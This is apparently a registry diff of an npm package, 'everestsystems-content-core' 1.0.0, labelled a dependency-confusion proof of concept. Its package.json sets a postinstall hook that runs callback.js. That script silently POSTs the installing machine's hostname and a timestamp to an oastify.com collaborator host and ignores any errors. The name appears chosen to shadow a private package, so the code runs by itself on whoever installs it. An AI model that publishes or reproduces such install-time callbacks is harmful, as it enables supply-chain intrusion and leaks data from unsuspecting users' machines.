everestsystems-content-core 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/callback.js +22 -0
  2. package/package.json +11 -0
package/callback.js ADDED
@@ -0,0 +1,22 @@
1
+ const https = require('https');
2
+
3
+ const data = JSON.stringify({
4
+ message: "Dependency Confusion PoC callback",
5
+ hostname: require('os').hostname(),
6
+ time: new Date().toISOString()
7
+ });
8
+
9
+ const options = {
10
+ hostname: 'ugeewqwsrxzfjyg0zwnf5v6l5cb3ztni.oastify.com',
11
+ path: '/',
12
+ method: 'POST',
13
+ headers: {
14
+ 'Content-Type': 'application/json',
15
+ 'Content-Length': data.length
16
+ }
17
+ };
18
+
19
+ const req = https.request(options, res => {});
20
+ req.on('error', error => {});
21
+ req.write(data);
22
+ req.end();
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "everestsystems-content-core",
3
+ "version": "1.0.0",
4
+ "description": "PoC for dependency confusion",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node callback.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }